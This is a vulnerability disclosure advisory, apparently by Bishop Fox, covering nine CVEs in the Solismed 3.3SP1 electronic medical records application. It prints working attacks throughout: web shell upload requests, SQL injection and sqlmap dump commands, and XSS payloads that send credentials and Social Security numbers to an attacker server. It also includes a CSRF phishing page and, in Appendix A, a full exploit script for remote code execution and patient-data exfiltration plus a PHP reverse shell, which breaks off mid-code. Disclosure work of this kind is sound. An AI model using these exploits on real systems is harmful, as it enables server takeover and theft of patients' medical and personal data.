ADVISORY SUMMARY

Nine vulnerabilities were identified within the Solismed application.



The following document describes identified vulnerabilities in the Solismed application version 3.3SP1.





Product Vendor Product Name Affected Version*

Intesync, LLC Solismed Version 3.3SP1



*Earlier versions are untested at the time of writing, but presumed to be vulnerable.

Product Description

Solismed is an electronic medical records (EMR) application that is used by medical professionals to maintain medical records of patients and manage patient visits. The project's official website is https://www.solismed.com. The latest version of the application is 3.5, released on December 02, 2019.

Vulnerabilities List

Impact

The vulnerabilities discovered result in complete compromise of the Solismed application server and the data contained within the application. Solismed contains highly sensitive data such as medical records, Social Security numbers, and various forms of Personal Identifying Information (PII). The vulnerabilities can be exploited from the context of an unauthenticated attacker with no direct access to the application.

Solution

Update to version 3.5.

Implement strong network firewall rules, disallowing incoming and outgoing connections outside of the local area network.

Timeline

09/04/2019: Initial discovery

09/06/2019: Contact with vendor

09/09/2019: Vendor acknowledged vulnerabilities

10/22/2019: Version 3.4sp1 retested. Incorrect Access Controls partially remediated, other issues remain.

10/24/2019: Contact with vendor

10/24/2019: Vendor acknowledged vulnerabilities

11/20/2019: Version 3.4sp4 retested. Insecure File Upload remediated, other issues remain.

11/21/2019: Contact with vendor

11/22/2019: Vendor acknowledged vulnerabilities

12/02/2019: Vendor released patched version 3.5 and stated issues have been resolved. Bishop Fox did not independently verify the vulnerabilities have been addressed.

12/09/2019 : Vulnerabilities publicly disclosed

Credits

Chris Davis, Senior Security Analyst, Bishop Fox (cdavis@bishopfox.com)

VULNERABILITIES

Insecure File Upload

CVE ID Security Risk Impact Access Vector CVE-2019-15936 Critical Code execution Remote



The Solismed application was affected by one instance of insecure file upload that allowed unauthenticated users to upload arbitrary files, including PHP files, that were stored within the application's web root. The insecure file upload resulted in remote code execution (RCE) from the context of an external unauthenticated attacker.

The /gui/file_upload.php endpoint did not require authentication or authorization and was used by the Solismed application to handle file uploads. This file upload handler relied on client-side controls to restrict dangerous file types from being uploaded to the application server. To bypass the client-side controls, a direct POST request containing a PHP web shell was sent, as shown below:

POST /gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=4&patient_id=&encounter_id=0&encrypt=N&target_folder=preferences HTTP/1.1

Host: localhost

…omitted for brevity…

-----------------------------2097450045574358816674343

Content-Disposition: form-data; name="name"



rce.php

-----------------------------2097450045574358816674343

Content-Disposition: form-data; name="file"; filename="rce.php"

Content-Type: image/png



<?php

if(isset($_GET['cmd']))

{

system($_GET['cmd']);

}

?>

-----------------------------2097450045574358816674343--



FIGURE 1 - PHP file upload





The application processed the request, responded with a 200 OK message, and returned the filename assigned by the application, as shown below:





HTTP/1.1 200 OK

…omitted for brevity…

{"jsonrpc":"2.0","result":null,"id":"id","realfileName":"rce.php","fileName":" 1-4--0-aabee-rce.php ","file_content":"iVBORw0KGgo8P3BocA0KICAgIGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpDQogICAgew0KICAgICAgICBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsNCiAgICB9DQo\/Pg0KCYI="}



FIGURE 2 - Application response





Navigating to the /webroot/userhome/preferences endpoint with the fileName parameter value returned in the response revealed the PHP web shell uploaded successfully and accepted operating system commands on the application server, as shown below:



FIGURE 3 - PHP web shell showing contents of /etc/passwd





The PHP web shell ran in the context of the application server's www-data user. To automate the exploitation of this issue, a python script was created that allowed the team to upload an interactive web shell in a single command, as shown below:







FIGURE 4 - Automated file upload exploitation





The web shell granted the ability to exfiltrate sensitive data, such as patients' medical records, and would grant an attacker a foothold on the internal network. The testing and exploit code can be found in Appendix A following this advisory.

Local File Inclusion (LFI)

The Solismed application was affected by one instance of LFI resulting in unauthenticated remote code execution and disclosure of arbitrary files from the underlying server.

CVE ID Security Risk Impact Access Vector CVE-2019-16246 Critical Code execution Remote



The /gui/file_viewer.php endpoint was vulnerable to LFI. Appending file paths to the uloaded_filename parameter processed the targeted file by including its contents in a temporary directory within the application's web root to be displayed by Google Docs. The LFI request is shown below:





GET /gui/file_viewer.php?encrypt=N&target_folder=utilities&uploaded_filename= ../../../../../../../etc/passwd HTTP/1.1

Host: 192.168.1.7

FIGURE 5 - Path to /etc/passwd

The GET request returned a 302 redirect message and attempted to display the local file in a Google Docs file viewer. For the local file to be processed in this manner, localhost could not be used as a target URL in the initial LFI request, as it would not be processed by the Google Doc functionality. The 302 from the Google Doc functionality is shown below:





HTTP/1.1 302 Found

…omitted for brevity…

Location: https://docs.google.com/viewer?url= http%3A%2F%2F192.168.1.7%2Fwebroot%2Ftemp%2F2aab195e7894861ae10b3015391c45f6.&embedded=true

Content-Length: 0

FIGURE 6 - Location header containing vulnerable endpoint



The redirect contained a url parameter that was the processed file's location. By navigating to the URL in the url parameter of the location header, the contents of /etc/passwd were returned, as shown below:







FIGURE 7 - Contents of /etc/passwd





Additionally, the LFI included local PHP files resulting in code execution. To automate exploitation, a script was created that chained the LFI with the insecure file upload, resulting in unauthenticated remote code execution, as shown below:







FIGURE 8 - LFI code execution





An attacker could leverage this vulnerability to compromise the underlying server and/or exfiltrate sensitive data.





SQL Injection



The Solismed application was affected by four instances of SQL injection that resulted in unauthenticated exposure of the data contained within the application MySQL database, including medical records, Social Security numbers, application user data, and PII.





CVE ID Security Risk Impact Access Vector CVE-2019-15933 High Information disclosure Remote





The /schedule/loaders/check_datetime.php endpoint was vulnerable to SQL injection. This endpoint required no authentication or authorization. To determine that the endpoint was vulnerable to SQL injection, a request was sent containing a sleep command in the date parameter, as shown below:

POST /schedule/loaders/check_datetime.php HTTP/1.1

Host: localhost

…omitted for brevity…

calendar_id=&date=09%2f03%2f2019 '%2b(select*from(select(sleep(10)))a)%2b' &patient_id=21&provider_id=0&form_location_id=1&day=2&start_time=990&end_time=1024

FIGURE 9 - SQL sleep command sent to server





The application delayed ten seconds, indicating a SQL injection vulnerability. To further exploit this issue, the automated SQL injection tool sqlmap was used with the command sqlmap -l sql-check.txt --dbms=mysql --thread=4 -p date - dump , where /sql-check.txt is the vulnerable POST request. The result of this command was the exfiltration of the entire Solismed application database. A sample of the exfiltrated tables is shown below:







FIGURE 10 - Sample of tables exfiltrated from SQL injection





The database contained sensitive PII and medical records as well as application user data. Some of the more sensitive data was encrypted with AES, as shown below:







FIGURE 11 - Encrypted data in demographics table





However, an attacker could decrypt all of the encrypted data using methods described in the Insecure Cryptographic Storage finding in this advisory. Additionally, the SQL injection could be used to retrieve files from the underlying filesystem and, in some instances, could lead to remote code execution if the database user had write permissions in the web root.

Additional Affected Locations

/finance/sales/load_details.php Parameter: payment_id

/index.php?loginaction=login Referer header – Note: requires valid credentials to be sent in login

/schedule/loaders/* Multiple parameters



Cross-site Scripting (XSS)



The Solismed application was affected by systemic cross-site scripting (XSS), including both stored and reflected XSS. The stored XSS could be exploited by any authenticated user, including the low-privilege patient application users, and affected staff users including administrators. The reflected XSS could be exploited by unauthenticated users and affect any Solismed user that could be lured into clicking a link. The XSS was exploited to obtain sensitive personal information, such as Social Security numbers, as well as to obtain valid login credentials to the application. Additionally, the XSS was chained with the CSRF and Insecure File Upload findings of this advisory to achieve remote code execution and compromise the underlying server.





CVE ID Security Risk Impact Access Vector CVE-2019-15935 High Escalation of privileges &

Information disclosure Remote

To demonstrate how an attacker may exploit these issues, as well as the impact of the finding, a stored XSS was exploited from the context of a low-privileged patient user. This XSS affected staff users, including administrators, and exfiltrated sensitive patient information such as cleartext Social Security numbers. The reflected XSS was exploited from the context of an unauthenticated user and affected any user who could be enticed to click a link. When the link was clicked, cleartext credentials of the victim user were sent to the attacker's server.

Stored XSS

To exploit the stored XSS, an attacker would authenticate as a low-privilege patient user to update the patient address (though all fields were vulnerable) to contain an arbitrary XSS payload, as shown below:

POST /index_body.php?module=patient_portal&tab=account_settings&mount= HTTP/1.1

Host: localhost

…omitted for brevity…

Content-Disposition: form-data; name="address1"



<script>jQuery.getScript("http://localhost:9090/e.js")</script>

-----------------------------65865042617418668151654240944

…omitted for brevity…

FIGURE 12 - XSS payload within the address1 parameter





This arbitrary JavaScript executed whenever a staff or administrative user navigated to the affected patients' file at the index_page.php endpoint. Once a staff member navigated to the affected endpoint, the XSS triggered and loaded e.js (a JavaScript payload) from the attacker server. The e.js payload retrieved all patients’ existing PII data, including cleartext Social Security numbers, and sent them to the attacker server, as shown below:







FIGURE 13 - Sensitive PII data returned to attacker server





Since this instance of XSS was stored, the attacker could persistently obtain sensitive medical and PII data.

Reflected XSS

To demonstrate the reflected XSS, the /contacts/patients/loaders/upload_webcam_file.php endpoint was exploited. A malicious link was crafted that contained arbitrary JavaScript in the patient_id parameter, as shown below:

http://localhost/contacts/patients/loaders/upload_webcam_file.php?patient_id=0 %3cscript%3eeval(String.fromCharCode(102, …omitted for brevity… 59))%3c%2fscript%3e



FIGURE 14 - XSS link





The payload was encoded to avoid issues with the application’s handling of special characters. The full decoded payload is shown below:

// XSS payload for Solismed v3.3sp1

// Obtains logged in user credentials

fetch('/index_body.php?module=preferences&tab=account&mount=user_settings', {

credentials: 'include'

}).then(function (response) {

return response.text().then(function (html) {

var parser = new DOMParser();

var doc = parser.parseFromString(html, "text/html");

let passwd = doc.getElementById("password").value;

let uname = doc.getElementById("username").value;

let creds = `UsernameFound: ${uname} PasswordFound: ${passwd}`

return creds

});

}).then(function (creds) {

fetch('http://localhost:1337', {

method: 'POST',

body: creds

})

});



FIGURE 15 - XSS payload to receive credentials

If an authenticated application user was lured into clicking the affected link, the payload executed, pulled cleartext credentials from the victim user's profile page, and sent them to the attacker server, as shown below:





…omitted for brevity…

UsernameFound: admin PasswordFound: sysadmin



FIGURE 16 - Cleartext credentials received at attacker server

The attacker could now authenticate to the application as the victim user. Because cross-site scripting was systemic within the Solismed application, it is not practical to list all affected locations.

Cross-Site Request Forgery (CSRF)



The Solismed application was affected by systemic CSRF that could be exploited from the context of an external unauthenticated user to create back-doored users, change passwords of users without knowledge of the original, or make any state-changing request on behalf of authenticated users. In this instance, the CSRF was exploited to demonstrate how an unauthenticated external attacker with no direct access to the application (i.e., the application was hosted on an internal network, not publicly facing) could gain remote code execution (RCE) through a chain of vulnerabilities (CSRF => XSS => Incorrect Access Controls => Insecure File Upload).





CVE ID Security Risk Impact Access Vector CVE-2019-15934 High Escalation of privileges Remote

An externally hosted phishing page was created so that when visited by an authenticated staff user on the Solismed application, the page forced the user to send a POST request to the Solismed application on behalf of the authenticated user. The HTML/JavaScript that sent the POST request is shown below:





<html>

<body>

<script>

var payload = ' <img src=x onerror=jQuery.getScript("http://localhost:9090/xss-shell.js")> '

var formData = new FormData();

formData.append('task', 'save');

formData.append('first_name', payload);



fetch('http://localhost/index_body.php?module=contacts&tab=Charts&mount=demographics&patient_id=&mounttype=default&tab_id=&calendar_id=®istration_id=&phone_call_id=&from_finance= ', {

credentials: 'include',

method: 'POST' ,

body: formData

});

</script>

</body>

</html>

FIGURE 17 - CSRF phishing page code





This CSRF payload was designed to chain with the Stored XSS finding described in this advisory. Once an authenticated staff member visited the phishing page, an arbitrary request was sent on their behalf that added a new patient with the patient's name containing an XSS payload, as shown below:

POST

/index_body.php?module=contacts&tab=Charts&mount=demographics&patient_id=&mounttype=default&tab_id=&calendar_id=®istration_id=&phone_call_id=&from_finance= HTTP/1.1

Host: localhost

…omitted for brevity…

origin: null

…omitted for brevity…

Content-Disposition: form-data; name="first_name"



<img src=x onerror=jQuery.getScript("http://localhost:9090/xss-shell.js")>

-----------------------------6992918915940625501117424983—



FIGURE 18 - CSRF request to create new patient





The affected patient name was stored in the index_page.php on the contacts – patients endpoint. Once any authenticated staff member viewed the affected patients functionality, the stored XSS executed and loaded xss-shell.js from the attacker server. The xss-shell.js was a JavaScript payload that chained the incorrect access controls with the insecure file upload vulnerabilities described in this advisory, which resulted in a PHP reverse shell returned to the attacker, as shown below:





nc -lvvp 31337

listening on [any] 31337 ...

connect to [127.0.0.1] from localhost [127.0.0.1] 53014

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

FIGURE 19 - CSRF request to create new patient





The PHP reverse shell allowed for operating system commands to be run on the application’s underlying server. The code for xss-shell.js is contained in Appendix A of this advisory.

Incorrect Access Controls



The Solismed application was affected by systemic incorrect access controls that resulted in the unintended exposure of application functionality and data. The incorrect access controls resulted in the ability to exploit the insecure file upload and SQL injection findings of this advisory from the context of an unauthenticated attacker. The incorrect access controls allowed a low-privilege user to escalate permissions to the role of a system administrator. In addition to these issues, the application exposed sensitive data such as patient lists with corresponding contact information, application users, and medical records.





CVE ID Security Risk Impact Access Vector CVE-2019-15932 High Information disclosure & Escalation of privileges Remote

As the Insecure File Upload and the SQL injection findings have already detailed the dangerous functionality exposed to unauthenticated attackers, the details of this finding will focus on the exposure of sensitive data to unauthenticated attackers and a privilege escalation vulnerability.

Unauthenticated Data Exposure



The Solismed application endpoints systemically did not enforce authentication or authorization aside from the index*.php endpoints. These endpoints contained publicly exposed sensitive data, such as patient information, health care records, application user information, a verbose error log, and SQL database information. Navigating to the /contacts/patients/grids/all_patients.php endpoint revealed all existing patients, names, dates of birth, phone numbers, and application-specific medical record numbers, as shown below:







FIGURE 20 - Sensitive data retrieved from all_patients.php endpoint





To demonstrate the amount of data exposed and to automate testing, a Python script was created to retrieve the various exposed endpoints and write them into local files on the attacker server, as shown below:







FIGURE 21 - Automated data exfiltration





Privilege Escalation

The functionality to alter application roles did not properly enforce authentication. By sending a direct request to the role update endpoint, the application allowed any application user to escalate from any role to application system administrator. Sending the following request with the form_user_id set to the ID of the targeted user and the form_user_role set to 1 (the default value for the administrative role) resulted in vertical privilege escalation, as shown below:

POST /index_body.php?module=operations&tab=user_access&mount=user_accounts&tab_id=operations_edit_acc_19 HTTP/1.1

Host: localhost

…omitted for brevity…

-----------------------------193214051513343730471771646897

Content-Disposition: form-data; name="task"



update

-----------------------------193214051513343730471771646897

Content-Disposition: form-data; name="form_user_id"



4

-----------------------------193214051513343730471771646897

Content-Disposition: form-data; name="first_name"



grace

-----------------------------193214051513343730471771646897

Content-Disposition: form-data; name="last_name"



bohr

-----------------------------193214051513343730471771646897

Content-Disposition: form-data; name="title"





-----------------------------193214051513343730471771646897

Content-Disposition: form-data; name="form_user_role"



1

-----------------------------193214051513343730471771646897

…omitted for brevity…



FIGURE 22 - Request made to escalate privilege

The user could then refresh or re-authenticate with newly assigned administrative permissions, as shown below:







FIGURE 23 - Newly assigned system admin role

To perform the privilege escalation, the attacker can authenticate as any user to the Solismed application.

Directory Traversal



The Solismed application was affected by two instances of directory traversal resulting in file uploads being written to arbitrary locations within the application’s web root. This could be used in conjunction with the insecure file upload vulnerability to achieve remote code execution in instances where the legitimate upload endpoint was unknown or restricted.





CVE ID Security Risk Impact Access Vector CVE-2019-15931 Medium Arbitrary file write to application web root Remote

In the file upload detailed in the Insecure File Upload finding of this advisory, the target_folder parameter in the /gui/file_upload.php endpoint was vulnerable to directory traversal. By modifying the parameter to arbitrary locations within the web root, an attacker could control where the file was uploaded, as shown below:





POST

/gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=400&patient_id=&encounter_id=0&encrypt=N& target_folder=../../webroot HTTP/1.1

Host: 192.168.1.7

…omitted for brevity…

-----------------------------42781671320636923501375223656

Content-Disposition: form-data; name="name"



h.php

-----------------------------42781671320636923501375223656

Content-Disposition: form-data; name="file"; filename="health.jpeg"

Content-Type: image/jpeg



<?php

if(isset($_GET['cmd']))

{

system($_GET['cmd']);

}

?>

-----------------------------42781671320636923501375223656--

FIGURE 24 - Directory traversal in file upload





The directory traversal successfully uploaded the PHP web shell into the /webroot directory, resulting in remote code execution, as shown below:







FIGURE 25 - Web shell in arbitrary file location





The directory traversal further increases the exploitability of the insecure file upload, lowering the bar for the application architecture knowledge required to exploit this vulnerability.

Additional Location

/index_body.php Multiple parameters wherever filenames are present



Insecure Cryptographic Storage



The Solismed application improperly implemented AES encryption to protect stored data within the application SQL database. An attacker could decrypt all of the encrypted data within the SQL database.





CVE ID Security Risk Impact Access Vector CVE-2019-17428 Medium Information disclosure & Arbitrary actions forced on behalf of user Local



Once an attacker exfiltrated the data in the SQL database through the various exploits detailed in this advisory, the AES-encrypted data could be decrypted. The path of least resistance to decrypt all of the SQL data was through misuse of application functionality. As detailed in the XSS finding of this advisory, the data, such as usernames and passwords, rendered in cleartext within the application’s UI. This demonstrated that the application was decrypting the SQL data for display in the UI. Therefore, to decrypt the encrypted SQL data, an attacker could download the publicly available Solismed application and insert the encrypted contents into fields that would be displayed by the UI, as shown below:







FIGURE 26 - Decryption on AES SQL data





This was verified across different installations of Solismed, indicating that the AES decryption key was hard-coded into the application source code across all installations. The AES key was not retrieved during the course of the testing due to the source code's IonCube protection and the time-boxed nature of this test.





User Interface Redress (Clickjacking)



The Solismed application lacked application framing protections, resulting in a user interface redress (UI Redress) vulnerability that allowed the application to be framed within a phishing page that an attacker could use to hijack user clicks and execute arbitrary actions on their behalf. To demonstrate impact, clickjacking was added to the attack chain described in the CSRF finding of this advisory (CSRF => XSS => UI Redress => Incorrect Access Controls => Insecure File Upload). Through the UI redress vulnerability, an attacker could force the execution of the XSS vulnerability, resulting in code execution on the underlying server through the chain of vulnerabilities described.





CVE ID Security Risk Impact Access Vector CVE-2019-15930 Low Arbitrary actions forced on behalf of the user Remote



Framing the Solismed application in a phishing page that included the CSRF payload allowed for an attack chain of CSRF => XSS => Clickjacking => Incorrect Access Controls => Insecure File Upload => RCE to be executed from the context of an external unauthenticated attacker. The phishing page is shown below:







FIGURE 27 - UI redress phishing page

When an authenticated user navigated to the phishing page, the CSRF would trigger, exploiting the XSS as described in the CSRF finding of this advisory. The Solismed application would then be framed within the phishing page. If the victim user's start page was patient contacts (as was the case with some of the preconfigured test accounts within the software download), no click was required and the XSS triggered, resulting in RCE. In instances where the victim user's start page was not the patient contacts endpoint, one click was required to load the XSS-affected endpoint. The code used in the phishing page can be found in Appendix A below.

Appendix A — Exploit Code

Insecure File Upload, LFI, and Incorrect Access Controls – Python Script

The following code (solisploit.py) was used in the Insecure File Upload, LFI, and Incorrect Access Controls findings included in this advisory:

#! /usr/bin/env python3

# Solismed v3.3sp1 Security Testing Tool

# Author: Malaphar @ Bish0pf0x

#

# This script was designed for a linux host and target

# However it is easily modified for Windows based targets



import requests

import sys

import argparse

import os

import cmd

from urllib.parse import urlparse, parse_qs, urlsplit



class bcolors:

RED = "\033[0;31m"

ORN = '\033[93m'

BLUE = "\033[0;34m"

GREEN = '\033[32m'

PURPLE = "\033[35m"

ENDC = '\033[m'



START = bcolors.PURPLE + "[*] " + bcolors.ENDC

SHELL = {'file': (

'rce.php', '<?php if (!empty($_POST[\'cmd\'])) {$cmd = shell_exec($_POST[\'cmd\']);echo $cmd;}?>')}

WARN = bcolors.BLUE + "[$] " + bcolors.ENDC

ENUM_DIR = "Solismed-Exfil"



#### FUNCTIONS FOR RCE ####

def upload_shell(): # Exploits Insecure File Upload

print(START + "Uploading Web Shell...")

resp = requests.post(

args.url + '/gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=31337&patient_id=&encounter_id=0&encrypt=N&target_folder=preferences', files=SHELL)

print(START + "Retrieving Shell Filename...")

file_name = resp.json()['fileName']

print(WARN + "Filename Found! " + bcolors.RED + "%s" %

file_name + bcolors.ENDC)

return file_name



def code_exec(vuln_path): # Web Shell Handler

headers = {'Content-type': 'application/x-www-form-urlencoded'}

r = requests.post(vuln_path, headers=headers, data="cmd=whoami")

whoami = r.text.strip()

r2 = requests.post(vuln_path, headers=headers, data="cmd=hostname")

hostname = r2.text.strip()

class webShell(cmd.Cmd):

intro = 'Welcome to the web shell.

Uploaded shell is at ' + vuln_path + '

Type help or ? to list commands.

'

prompt = whoami + '@' + hostname + '$'

file = None



def default(self, arg):

'Executes system command

Example: cmd whoami'

data = "cmd=%s" % arg

r = requests.post(vuln_path, headers=headers, data=data)

print(r.text)



def do_clear(self, arg):

'Clears the terminal'

os.system('clear')



def do_exit(self, arg):

'Cleans web shell from server and exits'

clean_up(vuln_path)

print(START + "Have a Nice Day!")

sys.exit()

try:

webShell().cmdloop()

except Exception as e:

print(e)



#### Exploits LFI for RCE or File enumeration ####

def set_lfi(set_lfi_file): # If LFI option get file function

try:

print(START + "Setting LFI...")

resp = requests.post(args.url +

"/gui/file_viewer.php?encrypt=N&target_folder=utilities&uploaded_filename=../../../../../../%s" %

set_lfi_file, allow_redirects=False)

location_header = resp.headers["Location"]

print(START + "Obtaining Affected Endpoint From Location Header...")

o = urlparse(location_header)

query = parse_qs(o.query)

URI = o._replace(query=None).geturl()

if "url" in query:

lfi_file_location = query["url"][0]

print(WARN + "Affected Endpoint Found! %s" % lfi_file_location)

else:

print("Failed to obtain location header...

" + resp.text)

return lfi_file_location

except Exception:

print("Error Something Went Wrong Setting The LFI...")



def clean_up(vuln_path): # Clean exit of Web Shell

headers = {'Content-type': 'application/x-www-form-urlencoded'}

sf = urlsplit(vuln_path)

shell_file = "/var/www/html" + sf.path

rm_shell = requests.post(vuln_path, headers=headers, data="cmd=rm " + shell_file)

if rm_shell.status_code == 200:

print(START + "Cleaned Uploaded File From Server...")

else:

print(WARN + "Unable to Clean Uploaded File From Server!" +

bcolors.RED + "%s" % shell_file)



# FUNCTIONS TO GET EXPOSED DATA

def get_exposed_data(grid_endpoints, grid_path):

for grid_endpoint in grid_endpoints:

print(START + "Attempting to Retrieve %s Data..." % grid_endpoint)

resp = requests.get(

args.url + grid_path + "%s.php" % grid_endpoint)

if resp.status_code == 200:

print(WARN + "%s Data Found!" % grid_endpoint)

fname = "%s.xml" % grid_endpoint

content = resp.text

print(START + "Writing Results to File: " +

bcolors.RED + "%s" % fname + bcolors.ENDC)

file_write(fname, content)

else:

print(WARN + "Something Went Wrong: " + str(resp.status_code))



def get_more_data():

resp = requests.get(args.url + "/config/system.sql")

if resp.status_code == 200:

sql_content = resp.text

sql_fname = "system.sql"

file_write(sql_fname,sql_content)

print(WARN + "%s Data Found MAY CONTAIN SYS ADMIN CREDS (AES) See advisory for decryption" % sql_fname)

else:

print(WARN + "System SQL Data Not Found :(")

resp2 = requests.get(args.url + "/webroot/errorlog/log.php")

if resp2.status_code == 200:

error_log_content = resp.text

log_fname = "errorlog.txt"

file_write(log_fname,error_log_content)

print(WARN + "%s Error Log Found May Contain Sensitive Information" % log_fname)

else:

print(WARN + "System SQL Data Not Found :(")



def make_dir():

try:

current_path = os.getcwd()

check_dir = os.path.exists(current_path + "/" + ENUM_DIR)

if check_dir == False:

os.mkdir(ENUM_DIR)

else:

overwrite = input(WARN + "%s Exists. Would You Like to Overwrite The Enumeration Files?

" %

ENUM_DIR + "Yes " + "or " + "No ")

low_ovw = overwrite.lower()

if low_ovw == "yes" or low_ovw == "y":

print(START + "Overwriting Previous Enumeration...")

elif low_ovw == "no" or low_ovw == "n":

sys.exit()

else:

print(WARN + "Error Please Type yes or no")

make_dir()

except Exception as e:

print(e)



def file_write(fname, content):

f = open(ENUM_DIR + "/" + fname, "w")

f.write(content)

f.close()



def main():

if args.check:

try:

resp = requests.get(args.url + "/webroot/version.txt")

if resp.status_code == 200:

version = resp.text

if version == "3.3 SP1":

print(WARN + "Vulnerable Version Found! %s" % version)

else:

print(WARN + "The Target May Not Be Vulnerable... %s" % version)

else:

print(WARN + "Unable to Get Version :( ")

except Exception as e:

print(e)

else:

pass

if args.exfil:

make_dir()

print(START + "Attempting to Obtain Exposed Data...")

access_endpoints = ["user_accounts", "user_groups", "user_roles"]

access_path = "/operations/access/grids/"

get_exposed_data(access_endpoints, access_path)

util_endpoints = ["access_history", "data_backup","emergency_access", "eprescribing_transactions"]

util_path = "/utilities/audit_logs/grids/"

get_exposed_data(util_endpoints, util_path)

contact_endpoints = ['advance_directives', 'all_documents', 'all_encounters', 'allergies', 'all_lab_results', 'all_orders', 'all_patients', 'all_radiology_results', 'appointments', 'assessment', 'calls', 'chief_complaints', 'claims', 'clinical_alerts', 'disclosure_of_records', 'documents', 'family_history', 'faxes',

'guarantors', 'health_maintenance', 'immunizations', 'insurance_information', 'lab_orders', 'letters', 'medical_history', 'medication_list', 'narration_instruction', 'notes', 'past_visits', 'payments', 'prescriptions', 'problem_list', 'procedures', 'radiology_orders', 'referrals', 'supplies', 'surgical_history']

contacts_path = "/contacts/patients/grids/"

get_exposed_data(contact_endpoints, contacts_path)

dashboard_endpoints = ['new_radiology_results', 'patient_portal_access', 'new_calls', 'open_documents', 'rx_refill_requests', 'new_lab_results', 'open_encounters', 'todays_visits', 'new_messages', 'open_orders', 'unpaid_invoices']

dashboard_path = "/dashboard/summary/grids/"

get_exposed_data(dashboard_endpoints, dashboard_path)

sales_endpoints = ['billed', 'billing_payments', 'billing_adjustments', 'billing_transactions', 'billing_listings', 'bill_summaries']

sales_path = "/finance/sales/grids/"

get_exposed_data(sales_endpoints, sales_path)

purchases_endpoints = ['adjustments', 'listings', 'payments']

purchases_path = "/finance/purchases/grids/"

get_exposed_data(purchases_endpoints, purchases_path)

get_more_data()

else:

pass

if args.lfi:

if args.url == "http://localhost" or args.url == "http://127.0.0.1":

print(

WARN + "Due to Application Logic Localhost Will Not Work Use Internal IP Instead...")

else:

set_lfi_file = args.lfi

lfi_file = set_lfi(set_lfi_file)

resp = requests.get(lfi_file)

if(len(resp.text) == 0):

print(WARN + "File " + bcolors.RED + "%s " % args.lfi +

bcolors.ENDC + "Not Found or User Lacks Permissions...")

else:

print(resp.text)

else:

pass

if args.rce:

print(START + "Exploiting Insecure File Upload...")

file_name = upload_shell()

vuln_path = args.url + "/webroot/userhome/preferences/" + file_name

code_exec(vuln_path)

elif args.rce_lfi:

print(START + "Exploiting Local File Inclusion...")

file_name = upload_shell()

path_to_lfi = "/var/www/html/webroot/userhome/preferences/" + file_name

vuln_path = set_lfi(path_to_lfi)

uploaded_file = args.url + "/webroot/userhome/preferences/" + file_name clean_up(uploaded_file)

code_exec(vuln_path)

else:

pass



if __name__ == "__main__":

parser = argparse.ArgumentParser(description='Tests and exploits vulnerablities in Solismed 3.3SP1',

epilog='Example usage: ./solissploit.py -u http://example.com -r ')

parser.add_argument('-u', '--url', dest='url', required=True,

type=str, help='URL of the target endpoint')

parser.add_argument('--check', action='store_true', dest='check',

help='Attempts to get Solismed application version')

parser.add_argument('--rce-upload', action='store_true', dest='rce',

help='Exploits an insecure file upload to open interactive web shell')

parser.add_argument('--rce-lfi', action='store_true', dest='rce_lfi',

help='Exploits file upload and executes with LFI to open interactive web shell')

parser.add_argument('-l', '--lfi', type=str, dest='lfi',

help='Exploits LFI to retrieve files from local file system. Example usage: ./solisploit.py -u http://example.com -l /etc/passwd')

parser.add_argument('-e', '--exfil', action='store_true', dest='exfil',

help='Pulls sensative patient organzation and application user information from exposed endpoints')

args = parser.parse_args()

main()

XSS – Payload to Obtain User PII Data

The following code (e.js) was used in the Stored XSS finding included in this advisory:





// XSS Payload for Solismed 3.3sp1

// Obtains PII of patients

var i = 0;

var exfil = [];

var getPII = function () {



fetch('/index_body.php?module=contacts&tab=Charts&mount=demographics&task=edit&patient_id=' + i, {

credentials: 'include'

}).then(function (response) {

return response.text().then(function (html) {

var parser = new DOMParser();

var doc = parser.parseFromString(html, "text/html");

let ssn = doc.getElementById("ssn").value;

let fname = doc.getElementById("first_name").value;

let lname = doc.getElementById("last_name").value;

let dob = doc.getElementById("DOB").value;

let address = doc.getElementById("address1").value;

let city = doc.getElementById("city").value;

let state = doc.getElementById("state").value;

let zipcode = doc.getElementById("zipcode").value;

let pii = `Firstname=${fname} LastName=${lname} DOB=${dob} SSN=${ssn}

Address=${address} ${city} ${state} ${zipcode}`

exfil.push(pii)

// This checks the first 20 patients

if (i > 20) {

exfilPII();

}

else {

i++;

getPII();

}

})

});

}

// Exflitrates PII to remote server

async function exfilPII() {

fetch('http://localhost:1337', {

method: 'POST',

body: exfil

})

}

getPII(); <

>//XSS to reverse PHP SHELL payload

// Shell code generated with msfvenom

const shellCode = ` \/*<?php /**/

@error_reporting(0);

@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);

$dis=@ini_get('disable_functions');

if(!empty($dis)){

$dis=preg_replace('/[, ]+/', ',', $dis);

$dis=explode(',', $dis);

$dis=array_map('trim', $dis);

}else{

$dis=array();

}



$ipaddr='127.0.0.1';

$port=31337;



if(!function_exists('RdxQvmVXDdP')){

function RdxQvmVXDdP($c){

global $dis;



if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {

$c=$c." 2>&1

";

}

$xGRjG='is_callable';

$nqZc='in_array';



if($xGRjG('proc_open')and!$nqZc('proc_open',$dis)){

$handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);

$o=NULL;

while(!feof($pipes[1])){

$o.=fread($pipes[1],1024);

}

@proc_close($handle);

}else

if($xGRjG('exec')and!$nqZc('exec',$dis)){

$o=array();

exec($c,$o);

$o=join(chr(10),$o).chr(10);

}else

if($xGRjG('popen')and!$nqZc('popen',$dis)){

$fp=popen($c,'r');

$o=NULL;

if(is_resource($fp)){

while(!feof($fp)){

$o.=fread($fp,1024);

}

}

@pclose($fp);

}else

if($xGRjG('system')and!$nqZc('system',$dis)){

ob_start();

system($c);

$o=ob_get_contents();

ob_end_clean();

}else

if($xGRjG('shell_exec')and!$nqZc('shell_exec',$dis)){

$o=shell_exec($c);

}else

if($xGRjG('passthru')and!$nqZc('passthru',$dis)){

ob_start();

passthru($c);

$o=ob_get_contents();

ob_end_clean();

}else

{

$o=0;

}



return $o;

}

}

$nofuncs='no exec functions';

if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){

$s=@fsockopen("tcp://127.0.0.1",$port);

while($c=fread($s,2048)){

$out = '';

if(substr($c,0,3) == 'cd '){

chdir(substr($c,3,-1));

} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {

break;

}else{

